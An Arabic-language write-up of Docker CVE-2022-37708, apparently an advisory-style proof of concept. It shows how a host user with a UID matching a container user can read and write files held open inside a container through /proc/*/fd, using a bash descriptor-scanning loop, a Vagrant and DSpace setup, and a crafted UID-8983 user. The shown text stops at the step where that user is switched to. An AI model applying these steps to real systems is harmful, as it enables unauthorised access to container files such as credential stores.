
Docker CVE-2022-37708
Docker CVE-2022-37708.
يعتمد هذا الاستغلال على كيفية احتواء نظام ملفات UNIX على UID و GID للملفات التي يشاركها Docker بين المضيف الذي يشغّل Docker والعميل الذي يُشغّل داخل Docker، وكذلك يعتمد على طبيعة كيفية عمل ملكية معرفات العمليات.
يمكن القيام بذلك بأي لغة تقريبًا توفر وصولاً إلى واصفات الملفات. يحدث أن دليل /proc/ يعرض هذا، مما يجعل من السهل جدًا تنفيذه باستخدام أوامر شل.
افترض جهاز كمبيوتر يوفر خدمة بريد إلكتروني لعدة مستخدمين. تُشغّل خدمة البريد الإلكتروني هذه داخل توزيعة مستقلة تعمل داخل Docker على المضيف. تعتبر التوزيعة المستقلة "نظام العميل". النظام الذي يعمل عليه Docker يعتبر "النظام المضيف". يحتوي "النظام المضيف" على خدمات مختلفة عليه، مثل "DBUS" لتوفير ناقل رسائل. لأسباب أمنية، يُشغّل ناقل رسائل "DBUS" كمستخدم غير مميز "messagebus" وله UID 123. ليس لدى مستخدم "messagebus" أي وصول إلى Docker وليس لديه أي وصول إلى "نظام العميل". لأسباب أمنية، يُشغّل "نظام العميل" معالجة البريد الإلكتروني كمستخدم غير جذر "emailservice" وله UID 123.
لاحظ كيف عيّنت "messagebus" بأن لديه UID 123 وكذلك "emailservice" لديه UID 123. هذه ليست مشكلة عادةً لأن هذين نظامين منفصلين ("نظام العميل" و"النظام المضيف") وليس لتعيينات UIDs والمستخدمين لديهم أي علاقة ببعضها البعض.
إذا قام "emailservice" في أي وقت بفتح بريد إلكتروني عشوائي لمعالجته، فسيكون لدى "messagebus" الفرصة لرؤية هذا الملف وتحريره. نظرًا لأن مستخدم "messagebus" خارج "نظام العميل" تمامًا، فلن يعلم "نظام العميل" أبدًا أن هذا الملف قد يُقرأ ويُكتب إليه.
يمكن أن يكون هذا أكثر خطورة إذا قرأ "emailservice" ملف shadow النظام للتحقق من بعض أسماء المستخدمين وكلمات المرور. سيكون لدى "messagebus" بعد ذلك وصول كامل للقراءة والكتابة إلى ملف shadow داخل "نظام العميل" طوال الفترة الزمنية التي يكون فيها هذا الملف مفتوحًا داخل "نظام العميل".
طريقة سهلة لتنفيذ الاستغلال هي مجرد الاتصال الهاتفي PID بدليل /proc/ لملفات pid.
يمكن لسكريبت bash بسيط في حلقة لا نهائية أن يبحث بشكل دوري عن الملفات التي يتم فتحها.
for i in /proc/* ; do if [[ -d $i/fd ]] ; then ls -lh $i/fd ; fi ; done
هناك جزأين حاسمين من الاستغلال يجعلان من الصعب استغلاله.
بالنسبة للحالة الأولى، يمكن لحلقة لا نهائية وبعض السحر في السكريبت التخفيف من ذلك. بالنسبة للحالة الثانية، يمكن لتوزيعة مصممة خصيصًا أو توزيعة معروفة أن تستبعد جزء الحظ. إذا كان النظام يحتوي على UIDs محددة مسبقًا، فيجب أن يكون من الممكن التنبؤ بـ UID المطلوب خارج "نظام العميل".
استخدام جهاز افتراضي Vagrant Debian-10 (Buster) ليعمل كـ "النظام المضيف" لاختبار الاستغلال:
Vagrant.configure("2") do |config|
config.vm.box = "generic/debian10"
config.vm.provider "virtualbox" do |vb|
vb.memory = 4096
vb.cpus = 2
vb.name = "Wargames"
end
config.vm.synced_folder "/tmp/files", "/host"
end
داخل "النظام المضيف"، احصل على أحدث إصدار من Docker واتبع التعليمات هنا:
مثال "نظام العميل" هو منتج مفتوح المصدر مستضاف على Github يسمى DSpace يوفر ملف docker-compose:
الآن استنسخ Dspace، وشغّل docker compose:
# git clone https://github.com/DSpace/DSpace.git
# cd DSpace
# docker compose up
هناك العديد من الصور التي تم إنشاؤها بواسطة هذا المشروع، لكن دعنا نركز على "dspace_solr_data".
لنؤكد أن تجول الدليل محمي:
# sudo ls -ld /var/lib/docker
drwx--x--- 15 root root 4096 May 6 13:49 /var/lib/docker
لننظر إلى الملف الذي أريد استغلاله:
# sudo find /var/lib/docker/volumes/ -name solr.xml
/var/lib/docker/volumes/dspace_solr_data/_data/solr.xml
/var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml
# sudo ls -ld $(sudo find /var/lib/docker/volumes/ -name solr.xml)
-rw-rw---- 1 8983 root 2427 Apr 25 20:59 /var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml
-rw-rw---- 1 8983 root 2427 Apr 25 20:59 /var/lib/docker/volumes/dspace_solr_data/_data/solr.xml
هذا يخبرنا أن المستخدم المحظوظ يحتاج أن يكون لديه UID 8983 ليكون قادرًا على استغلال هذا.
لنقم بإنشاء هذا المستخدم المحظوظ، ونطلق عليه "Lightman".
# sudo useradd -u 8983 -d /home/Lightman/ -m Lightman
الآن لننظر إلى تلك الملفات:
# sudo ls -ld $(sudo find /var/lib/docker/volumes/ -name solr.xml)
-rw-rw---- 1 Lightman root 2427 Apr 25 20:59 /var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml
-rw-rw---- 1 Lightman root 2427 Apr 25 20:59 /var/lib/docker/volumes/dspace_solr_data/_data/solr.xml
لكي يستغله Lightman، لا يجب فقط أن يمتلك Lightman الملفات، بل يجب أن يكون هناك عملية داخل "نظام العميل" لديها الملف مفتوحًا.
لأغراض إثبات هذا الاستغلال، سنستخدم tail -F على ملف solr.xml داخل "نظام العميل".
قم بذلك في طرفية منفصلة، مسجل الدخول إلى "النظام المضيف" كمستخدم vagrant.
اكتشف الحاوية الصحيحة:
# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
...
c4b06050ef46 solr:8.11-slim "/bin/bash -c 'init-…" 11 minutes ago Up 11 minutes 0.0.0.0:8983->8983/tcp dspacesolr
الآن اتصل بـ solr:8.11-slim.
# docker run -it solr:8.11-slim bash
# id
uid=8983(solr) gid=8983(solr) groups=8983(solr)
مستخدم solr بالفعل لديه UID 8983.
الnow افتح ملف solr.xml وابقِه مفتوحًا.
# tail -F /var/solr/data/solr.xml
عظيم، كل شيء جاهز لمستخدم Lightman هذا للاتصال الهاتفي الحربي بواصفات الملفات.
في طرفية منفصلة، مسجل الدخول إلى "النظام المضيف" كمستخدم vagrant، قم بالتبديل إلى مستخدم Lightman.
# sudo su - Lightman
# id
uid=8983(Lightman) gid=8983(Lightman) groups=8983(Lightman)